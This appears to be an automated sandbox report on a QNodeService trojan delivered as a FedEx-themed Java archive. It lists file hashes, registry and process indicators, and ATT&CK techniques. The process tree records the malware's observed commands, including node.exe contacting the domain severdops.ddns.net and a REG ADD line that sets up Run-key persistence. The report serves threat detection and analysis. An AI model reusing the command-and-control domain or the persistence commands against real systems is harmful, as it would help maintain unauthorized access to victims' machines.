qnodeservice | ec1e98e8f34938829b5de6f7488a6e3874743424755edb6638a5f07aed462da7

General

Target

FedEx 7774994746621.jar
Size

259KB
MD5

9e0fbaf1d32caa25c6af355e4fa9c0f3
SHA1

8bfa7cf9198a18ab158116707c7a621d8888975a
SHA256

ec1e98e8f34938829b5de6f7488a6e3874743424755edb6638a5f07aed462da7
SHA512

5a78b667abca2838e78c4d52b144563afa20ce6e4ab1bd3e603b0392636c9013308dd6653486bdbf420e580d3de55e34fcfa03dd39b8aee4d3b4da0e5a00485e

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
384	node.exe
4064	node.exe
1656	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\bf76c6fc-b090-4851-a702-5eba31307a20 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad43-163.dat	js
behavioral2/files/0x000100000001ad43-168.dat	js
behavioral2/files/0x000100000001ad43-172.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
384	node.exe
384	node.exe
384	node.exe
384	node.exe
4064	node.exe
4064	node.exe
4064	node.exe
4064	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe
1656	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 2168	3740	java.exe	73
PID 3740 wrote to memory of 2168	3740	java.exe	73
PID 2168 wrote to memory of 384	2168	javaw.exe	77
PID 2168 wrote to memory of 384	2168	javaw.exe	77
PID 384 wrote to memory of 4064	384	node.exe	79
PID 384 wrote to memory of 4064	384	node.exe	79
PID 4064 wrote to memory of 1656	4064	node.exe	80
PID 4064 wrote to memory of 1656	4064	node.exe	80
PID 1656 wrote to memory of 3440	1656	node.exe	82
PID 1656 wrote to memory of 3440	1656	node.exe	82
PID 3440 wrote to memory of 3564	3440	cmd.exe	83
PID 3440 wrote to memory of 3564	3440	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FedEx 7774994746621.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\66fb726c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:384
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PsaW1e\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4064
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PsaW1e\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1656
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "bf76c6fc-b090-4851-a702-5eba31307a20" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3440
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "bf76c6fc-b090-4851-a702-5eba31307a20" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/384-166-0x00000336C0B40000-0x00000336C0B41000-memory.dmp

Filesize
4KB

Download
memory/1656-173-0x00000328E51C0000-0x00000328E51C1000-memory.dmp

Filesize
4KB

Download
memory/4064-169-0x00000137AF240000-0x00000137AF241000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing